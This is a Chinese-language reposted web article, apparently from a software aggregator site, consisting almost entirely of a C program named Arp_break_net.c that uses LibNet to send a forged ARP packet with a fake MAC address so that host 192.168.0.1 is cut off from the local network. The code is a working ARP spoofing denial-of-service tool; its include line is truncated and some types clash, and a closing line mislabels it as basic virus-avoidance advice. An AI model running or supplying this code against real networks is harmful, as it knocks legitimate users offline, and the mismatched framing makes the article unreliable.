動態ARP可導致整個TCP/IP網絡中斷
發表時間:2023-07-12 來源:明輝站整理相關軟件相關文章人氣:
[摘要]程序名:Arp_break_net.c 用途 :演示通過ARP數據包使網絡中的某主機無法連接網絡 演示中192.168.0.1 將無法連接進入網絡 編寫 :cloud 時間 :2001-2-...
程序名:Arp_break_net.c
用途 :演示通過ARP數據包使網絡中的某主機無法連接網絡
演示中192.168.0.1 將無法連接進入網絡
編寫 :cloud
時間 :2001-2-11
其他 :程序依賴LibNet
*/
#include
u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (偽造的一個不存在MAC地址)
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
//目標MAC地址(廣播地址)
u_char ip_src[4] = {192,168,0,1};
//源IP地址 (被踢出網絡的IP地址)
u_char ip_dst[4] = {192,168,0,255};
//目標IP地址 (隨便一個IP地址)
int main(int argc, char *argv[])
{
int c;
char errbuf[256];
char *device = "eth0"; //數據包從第一個網卡發送出去
struct libnet_link_int *l;
l = libnet_open_link_interface(device, errbuf); //打開設備
if (!l)
{
fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
exit(EXIT_FAILURE);
}
c = send_arp(l, device); //發送ARP數據包
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
int send_arp(struct link_int *l, u_char *device)
{
int n;
u_char *buf;
if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
{
perror("libnet_init_packet memory:");
exit(EXIT_FAILURE);
}
/*
* 構造以太數據包頭部信息
*/
libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
/*
* 構造ARP數據包頭部信息
*/
libnet_build_arp(ARPHRD_ETHER,
ETHERTYPE_IP,
6,
4,
ARPOP_REQUEST,
enet_src,
ip_src,
enet_dst,
ip_dst,
NULL,
0,
buf + ETH_H);
n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //發送數據包
printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
libnet_destroy_packet(&buf);
return (n);
}
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。